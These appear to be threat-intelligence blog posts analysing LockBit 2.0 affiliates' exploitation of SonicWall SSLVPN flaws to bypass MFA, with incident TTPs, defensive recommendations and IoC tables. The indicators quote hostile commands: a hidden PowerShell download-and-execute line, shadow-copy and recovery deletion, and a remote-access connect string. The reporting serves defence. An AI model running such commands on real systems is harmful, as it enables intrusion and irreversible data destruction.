OS Credential Dumping – T1003
File and Directory Discovery – T1083
Network Service Discovery – T1046
Network Share Discovery – T1135
System Information Discovery – T1082
Remote Access Software – T1219
Data Encrypted for Impact – T1486
Service Stop – T1489
Web Service – T1102
Lateral Tool Transfer – T1570
Remote Services – T1021
System Services: Service Execution – T1569.002
Ingress Tool Transfer – T1105
Remote Services: SMB/Windows Admin Shares – T1021.002
Exfiltration Over Web Service: Exfiltration to Cloud Storage – T1567.002
Transfer Data to Cloud Account – T1537
Data Encrypted for Impact – T1486

Indicators of Compromise (IoCs)

Indicator	Type
C:\users\kenscchoi\desktop\sharefinder.ps1	Script
svchost.exe -connect ip:8443 -pass password	Process execution
powershell.exe -nop -w hidden -c IEX ((new-object.netclient).downloadstring(“http[:]//ip[:]80/a’))	Powershell execution
C:\Users\<user>\Desktop\locker.exe C:Windows\locker.exe	Executable File
C:\ProgramData\AdFind.exe	Executable File
C:\ProgramData\system\svchost.exe	Executable File
C:\ProgramData\svchost.exe	Executable File
C:\users\<user>\videos\beacon.exe	Executable File
ProgramDataLocalSystem/Upload/beacon.exe	Executable File
SYSVOL\Users\<user>\Videos\beacon.exe	Executable File
C:\admin\.exe	Executable File
C:\windows\users\test\pictures\64\86.exe	Executable File
C:\windows\users\test\pictures\WebBrowserPassView.exe	Executable File
C:\windows\users\test\pictures\PsExec64.exe	Executable File
C:\windows\users\test\pictures\PsExec.exe	Executable File
C:\windows\users\test\pictures\Advanced_Port_Scanner_2.5.3869.exe	Executable File
C:\windows\system32\cmd.exe” /c “vssadmin.exe Delete Shadows /all /quiet	Command Execution

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Technical analysis of LockBit 2.0 affiliates’ SonicWall exploit that bypasses MFA

Posted on July 19, 2022 by darklabhk

We outline the tactics, techniques and procedures of the threat actor, and share the technical details of the indicators of compromise for one of our incident response experiences in 1H2022.

In the previous blog post, we reported on the novel technique leveraged by LockBit 2.0 affiliates to exploit SonicWall Secure Remote Access (SRA) Secure Sockets Layer Virtual Private Network (SSL VPN) appliance to retrieve the time-based one-time password (TOTP) which enabled the circumvention of the multi-factor authentication (MFA) access control. We identified at the point in time from open source internet search engines that over one hundred Hong Kong and Macau organisations may be susceptible to this exploit based on their reported use of potentially vulnerable appliances.

We follow-up on that blog post with a technical analysis that outlines the LockBit 2.0 affiliates’ Tactics, Techniques and Procedures (TTPs) as observed in our incident response experiences. In addition, we set the scene for our final blog post which will explore the potential factors that enables the LockBit Ransomware-as-a-Service (RaaS) group to continue innovating at a rapid pace and cement their position as a major player in the ransomware threat landscape.

Analysis and Exploitation in the wild

Reconnaissance

We observed through analysis on the SSLVPN appliance and firewall network traffic logs that either CVE-2019-7481 or CVE-2021-20028 was exploited twice prior to initial access. The first recorded instance was in late 2021, in which the affiliate obtained the credentials of an administrative account. We conclude this with high confidence given this credential had not been leaked via data breaches or to the Dark Web previously, while the user had adopted a strong password given its length and use of four password complexity character classes.

Over the next three months, each login attempt originated from a unique external IP address and were unsuccessful due to the enforcement of MFA. The exploit was executed again prior to successful initial access, again from a different IP address. The use of a different external IP address each time spread over a sporadic timeframe is a strong indication of likely malicious intent by a threat actor that sought to remain stealthy to avoid detection and triggering of the victim’s incident response protocols.

The list of known malicious IP addresses are listed below, and we posit with high confidence they are utilised by the same threat actor for the following reasons:

91.219.212[.]214 – the first observed exploiting an SQLi vulnerability. This IP address has been reported multiple times as malicious from reputable sources to have conducted suspicious malicious activities, including spam, brute-forcing, web application abuse, and vulnerability exploitation.^[1]
5.206.224[.]246 – the first unsuccessful attempt to login as an administrative user, suggesting that this IP address is associated with 91.219.212[.]214 to obtain and utilise the strong and complex password.
51.91.221[.]111 – which resolves to 213.186.33[.]5 and has been flagged by the security community to be malicious and has served as a command-and-control infrastructure, i.e., Cobalt Strike server.^[² ^]
194.195.91[.]29 – the second observed exploitation of the SQLi vulnerability, with the subsequent login attempt being successful, indicating that the threat actor likely had chained it with the undisclosed zero-day vulnerability.

Initial Access

The threat actor gained access to the victim network by chaining an SQLi vulnerability – one of CVE-2019-7481 or CVE-2021-20028 – with an undisclosed zero-day vulnerability to circumvent the MFA access control of the victim’s SonicWall SRA SSLVPN. Details of the vulnerability chaining are illustrated in the below diagram.

Figure 1 – Holistic vulnerability chaining of SQLi vulnerability with undisclosed post-authentication zero-day vulnerability

Through our systematic method for discovering and analysing attack paths, we were able to replicate the exploited zero-day vulnerability performed by the threat actor. A summary of the undisclosed post-authentication local file inclusion zero-day vulnerability is provided below:

CVE(s)	`CVE-2022-22279`
First Published Date	11 March 2022
CVSS v3	4.9
Affected Versions	SonicWall SMA100 version 9.0.0.9-26sv and earlier.^[3]
Description	Post-authentication vulnerability that enables threat actors to download the persist.db database on their local device by targeting endpoint’s /cgi-bin/sslvpnclient. extract valid user credentials from the settings.json file, including the username, encrypted passwords, and the TOTP.^[4]
Potential Impact	Sensitive information disclosure that enables threat actors to circumvent the MFA access control to impersonate valid users and obtain initial access to the victim’s network.
Proof of Concept (PoC) Available	At the time of writing, there were no publicly available PoCs identified. DarkLab reported the security vulnerability along with their PoC exploit code to SonicWall’s Product Security Incident Response Team (PSIRT), and on 12 April 2022 observed the release of the advisory acknowledging the vulnerability which we had disclosed.
Exploited in the Wild	At the time of writing, this vulnerability is not known to be exploited in the wild.
Patch Available	No
Workaround Available	No

However, the threat actor required valid user credentials to exploit the post-authentication zero-day vulnerability. Based on this requirement and the victim’s firmware, we identified to two pre-authentication SQLi vulnerabilities – CVE-2019-7841 and CVE-2021-20028 – that the threat actor may have leveraged to obtain a valid session. A summary of these vulnerabilities are provided below:

CVE(s)	`CVE-2019-7841`
First Published Date	18 December 2019
CVSS v3	7.5
Affected Versions	Per SonicWall’s PSIRT, SMA100 version 9.0.0.3 and earlier.^[5] However, we noted from a cybersecurity consultancy firm that devices with version 9.0.0.5 firmware and earlier were still vulnerable.^[6]
Description	Pre-authentication SQLi vulnerability in the customerTID parameter which can be exploited remotely. Successful exploitation would allow the threat actor to list active session identifiers for authenticated users in a table named Sessions.^[7]
Potential Impact	Sensitive information disclosure and initial access under the right conditions (i.e., no MFA access control).
Proof of Concept (PoC) Available	At the time of writing, there were no publicly available PoCs identified. However, security researchers have reportedly reproduced the exploit based on samples obtained from in-the-wild exploitation.^[8]
Exploited in the Wild	This vulnerability has been actively exploited in the wild reportedly since 8 June 2021.^[9] SonicWall’s PSIRT published a notification on 13 July 2021 detailing an incident leveraging this vulnerability to perform a targeted ransomware attack.^[10]
Patch Available	Yes for organisations running 9.x firmware. No for organisations running unpatched and end-of-life (EOL) 8.x firmware.^[11]
Workaround Available	No

CVE(s)	`CVE-2021-20028`
First Published Date	14 July 2021
CVSS v3	9.8
Affected Versions	SonicWall SRA appliances running all 8.x firmware, an old version of firmware 9.x (9.0.0.9-26sv or earlier), or version 10.2.0.7.^[12] However, we noted from a cybersecurity consultancy firm that devices with version 10.x firmware were potentially vulnerable.^[13]
Description	Pre-authentication SQLi vulnerability in the customerTID parameter which can be exploited remotely. Successful exploitation would allow the threat actor to list active session identifiers for authenticated users in a table named Sessions.^[14]
Potential Impact	Sensitive information disclosure and initial access under the right conditions (i.e., no MFA access control).
Proof of Concept (PoC) Available	Per Twitter trails, we understand that the PoC was leaked on paste bins^[15] by an alleged DarkSide and LockBit affiliate that goes by the name “Wazawaka” on 25 January 2022.^[16]While the leak site is now inaccessible, we noted that security researchers have reportedly reproduced the exploit. ^{[17], [18], and [19]}
Exploited in the Wild	No known mass exploitation in the wild.
Patch Available	Yes for organisations running 9.x firmware. No for organisations running unpatched and end-of-life (EOL) 8.x firmware.^[20]
Workaround Available	No

Establishing Persistence

Upon login via the built-in SonicWall SRA SSLVPN administrative account, the threat actor did not require to perform privilege escalation as the threat actor obtained an account which, under the configurations at the time, was integrated with the victim’s Active Directory, and had been assigned domain administrator privileges. Thus, the threat actor cemented their position was to create an Active Directory account “audit” with similar privileges, and proceeded to perform the majority of subsequent malicious activities by leveraging this user.

Discovery

The threat actor transferred the SoftPerfect Network Scanner tool, which is a publicly available network scanner used to discover hostnames and network services, via various network protocols such as Hypertext Transfer Protocol (HTTP), Windows Management Instrumentation (WMI), Simple Network Management Protocol (SNMP), and Secure Shell (SSH).^[21]The threat actor was able to launch the scanner to map out the internal network topology and identify additional critical systems.

Filename	`netscan.exe`
SHA-256	`a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789`
File type	`Win32 EXE`
File size	`16,539,648 bytes`

Lateral Movement

Subsequent to identifying the critical systems such as backup servers and the management information system, the threat actor leveraged the stolen administrative account as well as the created account “audit” to initiate a Remote Desktop Connection to access those endpoints.

Defense Evasion

The kavremover tool was staged and executed to disable the endpoint anti-virus solution Kaspersky on the critical systems.^[22] This helped to set up the next stage of the campaign, which focuses on the exfiltration of victim data that will later be used for ransom.

Filename	`kavremvr.exe`
SHA-256	`c230e6a2a4f4ac182ba04fee875f722a2c9690cb5d678acd5e40a72d5ec1f275`
File type	`Win32 EXE`
File size	`14,143,976 bytes`

In addition, the executable file YDArk.exe was located on selected endpoints. This open source tool was first observed in the wild on 11 June 2020^[23], with the commit available on GitHub for download.^[24] From public sources, we note that it is a multi-purpose toolkit offered with English and Chinese modules that allow the threat actor to evade defenses through various techniques, including process injection and rootkit.^[25] As a result, we posit this tool was downloaded with the intention of disabling the anti-virus solution such as Windows Defender, alongside the kavremover tool.

Exfiltration and Extortion

Initially, the threat actor makes it known to the target network that it has encrypted the network by leaving a ransom note on the impacted systems. In some cases, LockBit affiliates have been observed to stage hacking tools and to exfiltrate data to cloud storage platforms such as AnonFiles that enables users to anonymously access and share contents.^{[26] and [27]}

Exfiltration and Extortion

Ransomware deployment was observed to have been done manually, with the threat actors executing on the critical servers. Following the execution of Lockbit 2.0, threat actors typically move onto the extortion phase of the campaign, which is broken down into two stages; initial ransom note, and leak website.

Filename	`LockBit_9C11F98C309ECD01.exe`
SHA-256	`822b0d7dbf3bd201d6689e19b325b3982356c05bc425578db9aa4ce653deaaa7`
File type	`Win32 EXE`
File size	`982,528 bytes`

We provide a sample of the Lockbit 2.0 ransomware and several behaviours observed in our incident from available logs.

The ransomware enumerated connected drives and read the root path of hard drives other than the default C: drive and discovered additional drives connected to the infected system that the ransomware was able to propagate to and encrypt.
The ransomware deleted the Volume Shadow Copy Server (VSS), likely by running the following command:
- C:\Windows\System32\cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Successfully encrypted files from Lockbit 2.0 had their file extension changed to .lockbit. Unlike typical cases, we did not observe the user background being modified using the \REGISTRY\USER\Control Panel\Desktop\Wallpaper registry

Finally, we observed that all the Active Directory accounts were disabled by the threat actor subsequent to the execution of Lockbit 2.0. In performing this action, legitimate users (e.g., administrators) were inhibited access to accounts, thereby delaying the actions that could be taken to restore the impacted systems and network.

Conclusion

Recommendations

As mentioned in the previous blog post, defending against undisclosed exploits are extremely challenging, but not impossible if organisations adopt a defense-in-depth approach. The following guiding principles should be observed, atop of those already listed in the previous blog post:

Implement a robust threat and vulnerability management programme that leverages cyber threat intelligence to achieve a resilient security posture. Specifically, to maintain an inventory of assets, with clear indication of the critical systems and sensitive data, mapped to business owners and the relevant security controls to manage cyber risk.
Design, implement, and operate an enterprise security architecture that embeds the concept of zero trust to focus on protecting critical resources (assets, services, workflows, network accounts, etc.), and not specifically just for network segments, as the network location is no longer seen as the prime component to the security posture of the resource.
Segment networks where operationally practical to prevent the spread of ransomware by controlling traffic flows between various subnetworks and by restricting adversary lateral movement. Disable unused administrative ports internally, such as Remote Desktop Protocol (RDP).
Identify, detect, and investigate abnormal activity and potential traversal of the threat actor across the network, such as through deployment of Endpoint Detection and Response (EDR) tools on critical endpoints, including workstations, laptops and servers.

In addition, we strongly urge organisations that have deployed the vulnerable versions of SonicWall SRA SSLVPN to execute the remediation actions outlined in the previous blog post, if not already completed. Details can be found here.

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques elaborated from the incident.

Reconnaissance: Active Scanning – Vulnerability Scanning (T1595.002)
Reconnaissance: Gather Victim Network Information – IP Addresses (T1590.005)
Initial Access: Exploit Public-Facing Application (T1190)
Initial Access: Valid Accounts (T1078)
Persistence: Account Manipulation (T1098)
Persistence: Create Account: Domain Account (T1136.002)
Privilege Escalation: Domain Accounts (T1078.002)
Defense Evasion: Impair Defenses: Disable or Modify Tools (T1562.001)
Defense Evasion: Indicator Removal on Host: File Deletion (T1070.004)
Credential Access: Credentials from Password Stores (T1555)
Discovery: Network Service Scanning (T1046)
Discovery: File and Directory Discovery (T1083)
Discovery: Remote System Discovery (T1018)
Lateral Movement: Remote Services: Remote Desktop Protocol (T1021.001)
Collection: Data from Local System (T1533)
Command and Control: Remote File Copy (T1544)
Impact: Account Access Removal (T1531)
Impact: Data Encrypted for Impact (T1486)
Impact: Inhibit System Recovery (T1490)

Indicators of Compromise (IoCs)

We include the observed IoCs elaborated from part one of the blogpost. We will expand this list as we deep-dive into the affiliates’ TTPs as observed from our incident response experience in Q1 2022.

Indicator	Type
c230e6a2a4f4ac182ba04fee875f722a2c9690cb5d678acd5e40a72d5ec1f275	SHA-256
a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789	SHA-256
49bac09d18e35c58180ff08faa95d61f60a22fbb4186c6e8873c72f669713c8c	SHA-256
822b0d7dbf3bd201d6689e19b325b3982356c05bc425578db9aa4ce653deaaa7	SHA-256
91.219.212[.]214	IPv4 Address
5.206.224[.]246	IPv4 Address
51.91.221[.]111	IPv4 Address
213.186.33[.]5	IPv4 Address
194.195.91[.]29	IPv4 Address
kavremvr.exe	Executable File
netscan.exe	Executable File
LockBit_9C11F98C309ECD01.exe	Executable File
YDArk.exe	Executable File
.lockbit	Encrypted Files Extension
Restore-My-Files[.]txt	Filename

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

LockBit 2.0 affiliate’s new SonicWall exploit bypasses MFA

Posted on April 21, 2022 by darklabhk

Increasing Capabilities of LockBit 2.0 Gang Per Our Incident Response Experience in Q1 2022 Impacts Over One Hundred Hong Kong and Macau Organisations; Exploit Acknowledged by SonicWall as CVE-2022-22279

In the first quarter of 2022, DarkLab responded to several ransomware incidents impacting organisations in the financial services, real estate, and manufacturing sectors across Hong Kong, China and Asia Pacific. In all such incidents, the presence of the LockBit executable file, .lockbit extension files, and the StealBit malware suggests that affiliates of the cybercriminal group that operates the LockBit 2.0 Ransomware-as-a-Service (RaaS) was likely behind the incidents.

LockBit 2.0 RaaS is a well-documented group with established tactics, techniques and procedures (TTPs) that has been active since 2019.[1] During our incident response investigations, we found LockBit affiliates exploiting two victims’ SonicWall Secure Remote Access (SRA) Secure Sockets Layer Virtual Private Network (SSLVPN) appliance to establish a foothold in their networks. In the first instance, the affiliate exploited a known SQL injection (SQLi) vulnerability to obtain valid usernames and passwords. Given the multi-factor authentication (MFA) access control was not enabled, they were able to achieve initial access relatively easily. In the second instance, the affiliate performed follow-up actions to retrieve the time-based one-time password (TOTP) which enabled the circumvention of the MFA access control.

In this blog post we will report on their novel technique to exploit SonicWall SSLVPN appliances and bypass MFA. According to results from open source internet search engines, over one hundred Hong Kong and Macau organisations may be susceptible to this exploit based on their reported use of potentially vulnerable appliances. This exploit disclosed by DarkLab has since been acknowledged by SonicWall as CVE-2022-22279.

A second blog post will then outline the LockBit affiliates’ TTPs as observed in our incident response experience. The final blog post will explore the potential factors that enables the LockBit RaaS group to continue innovating at a rapid pace and cement their position as a major player in the ransomware threat landscape.

Initial Access

The typical modus operandi of LockBit 2.0 affiliates is to gain access to a victim network by exploiting known vulnerabilities of public-facing services, including vulnerable SSLVPN. In particular, CVE-2018-13379 [2] has been the preferred vulnerability in many incidents, including those DarkLab responded to in January and February 2022. The vulnerability is several years old, and LockBit 2.0 affiliates were still able to capitalise on the exploit that allows for unauthenticated users to download system files through crafted HTTP resources requests. Other affiliates have been reported to gain initial access by conducting Remote Desktop Protocol (RDP) brute forcing[3] or through purchasing access to compromised servers via underground markets.[4]

However, in two incidents that DarkLab responded to in March 2022 we observed a new infection vector. Affiliates were observed to exploit a known but relatively obscure SQLi vulnerability – either CVE-2019-7481 [5] or CVE-2021-20028 [6] – in a novel manner to retrieve user session data stored in the SonicWall SSLVPN appliance to the affiliate’s local endpoint. Retrieved data included valid usernames, passwords, and the TOTP. In doing so, the affiliates could circumvent the MFA access control, impersonate any user to gain initial access, and subsequently deploy ransomware.

Figure 1 – LockBit’s initial attack chain

The latter incidents we responded to in March 2022 were noteworthy for two reasons. First, LockBit affiliates were not reported to have exploited SonicWall SSLVPN products in the past. Second, this was the first publicly observed instance that the known SQLi vulnerability could be exploited by threat actors to extract the TOTP SHA-1 tokens of onboarded users. Affiliates could then generate the QR code containing the required information to generate one time passwords (OTP) in an authenticator app of their choice.[7] This proved to be an innovative way to circumvent the existing MFA access controls. The observation of the exploitation suggests the affiliates of LockBit now have additional tools in their arsenal, and indicates the importance they place in continuous improvement as the group looks to differentiate itself from competitors.

Impact to Hong Kong and Macau

DarkLab replicated and verified the novel exploitation method of the post-authentication vulnerability through internal testing of several known impacted SonicWall SSLVPN firmware. We have shared all relevant details, including the technical exploit code, with the SonicWall Product Security Incident Response Team (PSIRT) in March 2022 to ensure organisations are protected. We will not publicly disclose exact exploitation details to avoid replication by malicious actors.

Per subsequent communications with SonicWall PSIRT, we understood that the upgrades to SonicWall SMA firmware 10.2.0.7-34sv or above, and 9.0.0.10-28sv or above in February 2021 to address CVE-2021-20016 included comprehensive code-strengthening that proactively prevented malicious attackers from exploiting this vulnerability to circumvent the MFA access control.[8] On 12 April 2022, SonicWall PSIRT released the following advisory acknowledging the vulnerability CVE-2022-22279 which we had disclosed.[9]

As of the time of writing, we have not observed from our deep and dark web monitoring any specific intentions by threat actors to leverage this post-authentication vulnerability to target organisations in Hong Kong and Macau. However, we observed that Russian-speaking threat actors had been discussing this vulnerability in early February 2022, with posts from two underground forums – exploit[.]in and xss.[.]is – containing conversation details of purchasing the exploit code and outlining at a high-level the follow-up actions that can be taken to extract the TOTP from the active sessionid.

Figure 2 – Screenshot of `exploit[.]in` underground forum

Figure 3 – Screenshot of `xss[.]is` underground forum

As a result of the LockBit incidents and various hacker chatter, we were concerned that local organisations may have missed SonicWall PSIRT’s advisory note; after all, we still observed compromises that resulted from the exploitation of CVE-2018-13379 on unpatched Fortinet SSLVPN appliances in February 2022. To that end, we conducted a passive, non-intrusive scan of both CVE-2019-7481 or CVE-2021-20028 on the full Internet Protocol address (IP address) range of Hong Kong and Macau. The preliminary results indicated that at least 100 organisations were vulnerable to CVE-2021-20028, with half of those also vulnerable to CVE-2019-7481.

DarkLab has since proactively contacted dozens of potentially affected organisations to alert them of the potential risks they faced. However, given there were a series of critical vulnerabilities pertaining to SonicWall SSLVPN appliances released in June 2021, it is likely that those may be exploited through other innovative methods by threat actors. For example, the Cybersecurity & Infrastructure Security Agency (CISA) listed CVE-2021-20016 as another SQLi vulnerability that allows a remote unauthenticated attacker to perform SQL query to access username password and other session related information in SMA100 build version 10.x. [10], which aligned with our communication with SonicWall’s PSIRT. We foresee that if left unpatched, this could pose a threat that adversaries may exploit to gain unauthorised access through exploitation of this vulnerability.

CVE Number	Product	Vulnerability Name	Date Added to Catalogue	Short Description
`CVE-2021-20021`	SonicWall Email Security	Privilege Escalation Exploit Chain	3 November 2021	A vulnerability in version 10.0.9.x allows an attacker to create an administrative account by sending a crafted HTTP request to the remote host.
`CVE-2021-20022`	SonicWall Email Security	Privilege Escalation Exploit Chain	3 November 2021	A vulnerability in version 10.0.9.x allows a post-authenticated attacker to upload an arbitrary file to the remote host.
`CVE-2021-20023`	SonicWall Email Security	Privilege Escalation Exploit Chain	3 November 2021	A vulnerability in version 10.0.9.x allows a post-authenticated attacker to read an arbitrary file on the remote host.
`CVE-2021-20016`	SonicWall SSLVPN SMA100	SQL Injection Vulnerability	3 November 2021	A vulnerability in SMA100 build version 10.x allows a remote unauthenticated attacker to perform SQL query to access username, password and other session related information.
`CVE-2021-20018`	SMA 100 Appliances	Stack-Based Buffer Overflow Vulnerability	28 January 2022	SonicWall SMA 100 devices are vulnerable to an unauthenticated stack-based buffer overflow vulnerability where exploitation can result in code execution.
`CVE-2021-20028`	SonicWall SRA	SQL Injection Vulnerability	28 March 2022	SRA products contain an improper neutralisation of a SQL Command leading to SQL injection.

Table 1 – CISA known exploited vulnerabilities catalogue listing various critical SonicWall CVEs that were being exploited in the wild as of 2 April 2022

The ongoing evolution of TTPs allowed LockBit’s affiliates to become the most prolific ransomware actors in 2022. Between 1 January and 31 March 2022, the group claimed 223 victims on their dark web leak site, compared to Conti’s 125. This equates to more than one-third of all known ransomware incidents for Q1 2022. To put it in another way, over the same period LockBit’s affiliates claimed almost 10 percent more victims than the other 24 known ransomware groups combined (223 compared to 164). LockBit’s reported activities have also increased over the course of the first three months of 2022. The gang claimed 112 victims in March, while it published details of 111 companies in the previous two months combined. This suggest an ongoing trend highlighting how LockBit will likely remain the most active ransomware-as-a-service offering for the coming months.

Figure 4 – Number of victims published on ransomware dark web leak sites between 1 January 2022 and 31 March 2022

Conclusion

Lockbit 2.0 affiliates work on behalf of the Lockbit group to conduct ransomware campaigns against organisations and industries across the globe. The affiliates’ abilities to conduct the intrusion and execution of Lockbit 2.0 ransomware vary, and through these incidents we observed affiliates with a diversified capability and skillset exploit a known SQLi vulnerability in a novel way to circumvent the MFA access control and obtain initial access. At least 100 organisations in Hong Kong and Macau are at potential immediate risk, and we foresee that if left unpatched, this could pose a threat that adversaries may exploit to gain unauthorised access through exploitation of this vulnerability. We will continue to monitor the situation and assist organisations as needed. In the next blog post, we will also share further details on the TTPs leveraged by LockBit affiliates as a result of our recent incident response experience with reference to the MITRE ATT&CK Framework, such that organisations can better prevent and detect malicious activities related to this RaaS group.

Recommendations

For organisations that have deployed the vulnerable versions of SonicWall SRA SSLVPN, we recommend the following actions immediately in the following order:

Upgrade legacy SRA SSLVPN device(s) running firmware 8.x given they are not supported by SonicWall; apply patches to the impacted versions of the 9.x or 10.x firmware.
Reset all user account Active Directory credentials that had previously authenticated via the SonicWall SRA SSLVPN. In particular, the Active Directory credentials that is tied to the SonicWall SRA device for authentication purpose should be changed.
Re-bind users’ second authentication factor (e.g., Google or Microsoft Authenticator) app with an updated TOTP, and ensure that users store their newly generated backup codes securely.[11]
Review the privileges granted to the Active Directory account tied to the SonicWall SRA device for user authentication purpose, and remove excess permissions where possible to adhere to the principle of least privilege. In general, Domain Administrator privilege should not be used.
Perform a review of access management with respect to identity and network access (e.g., removal of legacy and unused accounts, housekeeping of privileges for all accounts, and enforce network segmentation to tighten access to key servers).

Meanwhile, defending against undisclosed exploits are extremely challenging, but not impossible if organisations adopt a defense-in-depth approach. The following guiding principles should be observed:

Require multi-factor authentication for all services to the extent possible, especially on external remote services.
Implement a robust threat and vulnerability management programme that leverages cyber threat intelligence to achieve a resilient security posture. Specifically:
- Maintain regular cybersecurity patching hygiene practices, including a robust baseline that patched known exploited vulnerabilities and aims to reduce known attack surface.
- Leverage cyber threat intelligence to prioritise the remediation scale and timeline on a risk-based approach, through the incorporation of indications and warnings regarding trending threats per available proof-of-concept code, active exploitation by threat actors, and Darknet chatter.
Maintain “tertiary” offline backups (i.e., tertiary backup) that are encrypted and immutable (i.e., cannot be altered or deleted). This should be atop of your existing secondary data backups that should adopt security best practices, in particular network segmentation with your production and/or primary site.
Develop and regularly test the business continuity plan, ensuring that the entire backup, restoration and recovery lifecycle is drilled to ensure the organisation’s operations are not severely interrupted.

MITRE ATT&CK TTPs Leveraged

Initial Access: Exploit Public-Facing Application (T1190)
Initial Access: Valid Accounts (T1078)
Impact: Data Encrypted for Impact (T1486)

Indicators of Compromise (IoCs)

Indicator	Type
7fcb724c6f5c392525e287c0728dbeb0	MD5
adead34f060586f85114cd5222e8b3a277d563bd	SHA-1
822b0d7dbf3bd201d6689e19b325b3982356c05bc425578db9aa4ce653deaaa7	SHA-256
LockBit_9C11F98C309ECD01.exe	Executable File
.lockbit	Encrypted Files Extension
91.219.212[.]214	IPv4 Address
5.206.224[.]246	IPv4 Address
51.91.221[.]111	IPv4 Address
213.186.33[.]5	IPv4 Address
194.195.91[.]29	IPv4 Address

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.